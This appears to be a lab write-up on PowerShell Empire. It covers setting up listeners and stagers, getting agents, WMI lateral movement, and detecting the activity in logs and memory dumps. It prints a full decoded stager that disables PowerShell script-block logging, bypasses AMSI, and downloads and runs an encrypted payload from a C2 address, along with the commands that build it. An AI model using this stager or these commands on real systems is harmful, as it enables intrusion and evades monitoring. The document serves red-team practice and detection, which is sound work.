Powershell Empire 101
Exploring key concepts of the Powershell Empire

Listener

1
// Empire commands used
2
?
3
uselistener meterpreter
4
info
Copied!
Starting the listener:
1
execute
Copied!

Stager

Stager will download and execute the final payload which will call back to the listener we set up previously - meterpreter- below shows how to set it up:
1
//specify what stager to use
2
usestager windows/hta
3
4
//associate stager with the meterpreter listener
5
set Listener meterpreter
6
7
//write stager to the file
8
set OutFile stage.hta
9
10
//create the stager
11
execute
Copied!
A quick look at the stager code:

Issues

Various stagers I generated for the meterpreter listener were giving me errors like this and this:
and this:
After looking at the traffic and a quick nmap scan, it seemed like there may be a bug in Empire's uselistener module when used with meterpreter - for some reason it will not actually start listening/open up the port:
To test this assumption, I created another http listener on port 80 - which worked immediately, leaving the meterpeter listener being buggy at least in my environment:

Agent

Agent is essentially a compromised victim system that called back to the listener and is now ready to receive commands.
Continuing testing with the http listener and a multi/launcher stager, the agent is finally returned once the launcher.ps1 (read: stager) is executed on the victim system:
Let's try getting one more agent back from another machine via WMI lateral movement:
1
interact <agent-name>
2
usemodule powershell/lateral_movement/invoke_wmi
3
set Agent <agent-name>
4
set UserName offense\administrator
5
set Password 123456
6
set ComputerName dc-mantvydas
7
run
Copied!

Beaconing

With default http listener profile set, below are the most commonly used URLs of the agent beaconing back to the listener:
The packet data in any of those beacons:

Observations

Note how executing the stager launcher.ps1 spawned another powershell instance and both parent and the child windows are hidden. Note that the children powershell was invoked with an encoded powershell command line:
Stager's command line in base64:
1
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAFIAcwBpAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBpAE8ATgAuAE0AQQBKAE8AUgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAEYAXQAuAEEAcwBzAEUAbQBCAGwAeQAuAEcAZQBUAFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAd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AFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
Copied!
Decoded command line with notable user agent, C2 server and a session cookie:
1
If($PSVeRsiOnTabLe.PSVErSiON.MAJOR - ge 3) {
2
$GPF = [ReF].AssEmBly.GeTTyPE('System.Management.Automation.Utils').
3
"GETFiE`ld" ('cachedGroupPolicySettings', 'N' + 'onPublic,Static');
4
If($GPF) {
5
$GPC = $GPF.GetVaLue($NulL);
6
IF($GPC['ScriptB' + 'lockLogging']) {
7
$GPC['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0;
8
$GPC['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
9
}
10
$vAL = [ColLEctIOns.GeNeRiC.DIctioNaRy[sTRInG, SystEm.ObjEct]]::nEw();
11
$val.ADd('EnableScriptB' + 'lockLogging', 0);
12
$VaL.ADd('EnableScriptBlockInvocationLogging', 0);
13
$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging'] = $Val
14
}
15
ELSE {
16
[ScrIptBLOCk].
17
"GeTFiE`lD" ('signatures', 'N' + 'onPublic,Static').SeTVaLUe($nULL, (New - OBjECt CoLlECTIonS.GENerIC.HasHSeT[strINg]))
18
}[REF].ASSEMblY.GETTYpe('System.Management.Automation.AmsiUtils') | ? {
19
$_
20
} | % {
21
$_.GETField('amsiInitFailed', 'NonPublic,Static').SETVALUe($nULl, $trUe)
22
};
23
};
24
[SyStEm.Net.SERVicePOiNtMANAGEr]::EXpeCt100CoNtINUe = 0;
25
$wc = NEW - OBJeCT SySTeM.Net.WebCLIENT;
26
$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
27
$wc.HeAderS.Add('User-Agent', $u);
28
$wc.PROXy = [SYStEm.NEt.WEbREQUeST]::DEfAuLTWEbPRoxy;
29
$WC.PRoXY.CrEDenTiaLS = [SYsteM.NET.CrEdENTIAlCaCHE]::DEfaultNeTwORkCRedEnTiaLs;
30
$Script: Proxy = $wc.Proxy;
31
$K = [SystEM.TExT.EnCODINg]::ASCII.GeTBytes('R.%?VtC8xqgnsFc5Z+:9wdE}ABMp{mzO');
32
$R = {
33
$D,
34
$K = $ARGS;$S = 0. .255;0. .255 | % {
35
$J = ($J + $S[$_] + $K[$_ % $K.COUNt]) % 256;$S[$_],
36
$S[$J] = $S[$J],
37
$S[$_]
38
};$D | % {
39
$I = ($I + 1) % 256;$H = ($H + $S[$I]) % 256;$S[$I],
40
$S[$H] = $S[$H],
41
$S[$I];$_ - bxor$S[($S[$I] + $S[$H]) % 256]
42
}
43
};
44
$ser = 'http://192.168.2.71:80';
45
$t = '/login/process.php';
46
$Wc.HEAderS.AdD("Cookie", "session=9ulatLKLx5DWZ5IawRusFS2Z2rA=");
47
$dAta = $WC.DoWNloAdDatA($SER + $t);
48
$Iv = $DATa[0. .3];
49
$DaTA = $DatA[4..$DatA.LeNgTH]; - jOiN[ChaR[]]( & $R $datA($IV + $K)) | IEX
Copied!

Logs

If we isolate the evil powershell that was infected by the Empire in our SIEM, we can see the beacons:
A compromised system can generate event 800 showing the following in Windows PowerShell logs (powershell 5.0+):
Also loads of 4103 events in Microsoft-Windows-PowerShell/Operational:
In the same way, if PS transcript logging is enabled, the stager execution could be captured in there:

Memory Dumps

A memory dump can also reveal the same stager activity:
1
volatility -f /mnt/memdumps/w7-empire.bin consoles --profile Win7SP1x64
Copied!

References

Expanding Your Empire - harmj0y
harmj0y
Nothing Lasts Forever: Persistence with Empire - harmj0y
harmj0y
How to Use PowerShell Empire: Getting Started with Post-Exploitation of Windows Hosts
WonderHowTo
Empire PowerShell Tutorial For PenTesters & Redteams
Ethical Hacking Blog
Justin Warner – Medium
Medium
Last modified 2yr ago